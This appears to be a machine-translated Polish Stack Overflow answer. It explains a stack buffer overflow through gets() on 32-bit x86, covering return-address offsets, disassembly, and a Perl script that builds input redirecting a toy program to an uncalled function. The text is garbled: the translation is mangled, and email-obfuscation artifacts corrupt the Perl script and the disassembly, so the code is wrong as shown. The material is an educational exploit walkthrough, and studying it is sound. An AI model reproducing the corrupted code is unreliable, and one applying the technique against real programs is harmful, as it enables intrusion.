Oto przewodnik, który napisałem dla znajomego chwilę po przeprowadzeniu ataku polegającego na przepełnieniu bufora przy użyciu gets
. Sprawdza się, jak uzyskać adres zwrotny i jak go użyć do napisania starego:
Nasza wiedza na temat stosu mówi nam, że adres zwrotny pojawia się na stosie po buforze, który próbujesz przepełnić. Jednak, jak daleko po buforze pojawi się adres powrotu, zależy od architektury, z której korzystasz. W celu ustalenia tego, najpierw napisać prosty program i sprawdzić montaż:
kod C:
void function()
{
char buffer[4];
}
int main()
{
function();
}
Assembly (skrócona):
function:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
leave
ret
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call function
...
Istnieje kilka narzędzi, które można wykorzystać do sprawdzenia kodu zespołu. Najpierw, oczywiście, jest kompilowanie danych wyjściowych z Gcc prosto do zespołu za pomocą gcc -S main.c.Może to być trudne do odczytania, ponieważ niewiele wskazuje na to, jaki kod odpowiada oryginalnemu kodowi C. Dodatkowo istnieje wiele kodów, które mogą być trudne do przeskoczenia. Kolejnym narzędziem do rozważenia jest gdbtui. Zaletą korzystania z gdbtui jest możliwość sprawdzenia źródła zespołu podczas działania programu i ręczna kontrola stosu podczas wykonywania programu. Jednak ma stromą krzywą uczenia się.
Program inspekcji montażu, który najbardziej lubię, to objdump. Uruchomienie objdump -dS a.out
podaje źródło zespołu z kontekstem z oryginalnego kodu źródłowego C. Za pomocą objdump na moim komputerze przesunięcie adresu zwrotnego z bufora znaków wynosi 8 bajtów.
Ta funkcja function
przyjmuje adres zwrotny i zwiększa do niej liczbę 7. Instrukcja, która początkowo wskazywała na adres zwrotny, ma długość 7 bajtów, więc dodanie 7 powoduje, że punkt adresu powrotu do instrukcji bezpośrednio po przypisaniu.
W poniższym przykładzie nadpisuję adres zwrotny, aby pominąć instrukcję x = 1
.
prosty program w C:
void function()
{
char buffer[4];
/* return address is 8 bytes beyond the start of the buffer */
int *ret = buffer + 8;
/* assignment instruction we want to skip is 7 bytes long */
(*ret) += 7;
}
int main()
{
int x = 0;
function();
x = 1;
printf("%d\n",x);
}
Główna funkcja (x = 1 w 80483af jest długa siedem bajtów):
8048392: 8d4c2404 lea 0x4(%esp),%ecx
8048396: 83e4f0 and $0xfffffff0,%esp
8048399: ff71fc pushl -0x4(%ecx)
804839c: 55 push %ebp
804839d: 89e5 mov %esp,%ebp
804839f: 51 push %ecx
80483a0: 83ec24 sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8 mov -0x8(%ebp),%eax
80483b9: 89442404 mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff call 80482d8 <[email protected]>
80483c9: 83c424 add $0x24,%esp
80483cc: 59 pop %ecx
80483cd: 5d pop %ebp
Wiemy, gdzie adres zwrotny jest i wykazano, że zmieniając go może wpływać na uruchamiany kod . Przepełnienie bufora może zrobić to samo, używając gets
i wpisując odpowiedni ciąg znaków, aby adres powrotu został zastąpiony nowym adresem.
W nowym przykładzie poniżej mamy funkcję function
, która ma bufor wypełniony za pomocą get. Mamy również funkcję uncalled
, która nigdy nie jest wywoływana. Dzięki poprawnemu wprowadzeniu możemy uruchomić nieuczciwie.
#include <stdio.h>
#include <stdlib.h>
void uncalled()
{
puts("uh oh!");
exit(1);
}
void function()
{
char buffer[4];
gets(buffer);
}
int main()
{
function();
puts("program secure");
}
Aby uruchomić uncalled
, skontrolować wykonywalny korzystając objdump
lub podobnych, aby znaleźć adres punktu wejścia uncalled
. Następnie dodaj adres do bufora wejściowego we właściwym miejscu, aby nadpisał stary adres zwrotny. Jeśli twój komputer jest mało-endian (x86, itp.), Musisz zamienić endianness adresu.
Aby zrobić to poprawnie, mam poniżej prosty skrypt Perla, który generuje dane wejściowe, które spowodują przepełnienie bufora, które spowoduje nadpisanie adresu zwrotnego. Wymaga dwóch argumentów, najpierw przyjmuje nowy adres zwrotny, a po drugie zajmuje dystans (w bajtach) od początku bufora do lokalizacji adresu zwrotnego.
#!/usr/bin/perl
print "x"[email protected][1]; # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n"; # new line to end gets
nie mogę korzystać z tej metody , ponieważ używam Linuksa i GNU GCC. –
@Mike, w rzeczywistości można użyć _method_, ponieważ 'gcc' również zapewnia wbudowane' asm'. Musisz tylko przekonwertować go na alternatywną składnię. – paxdiablo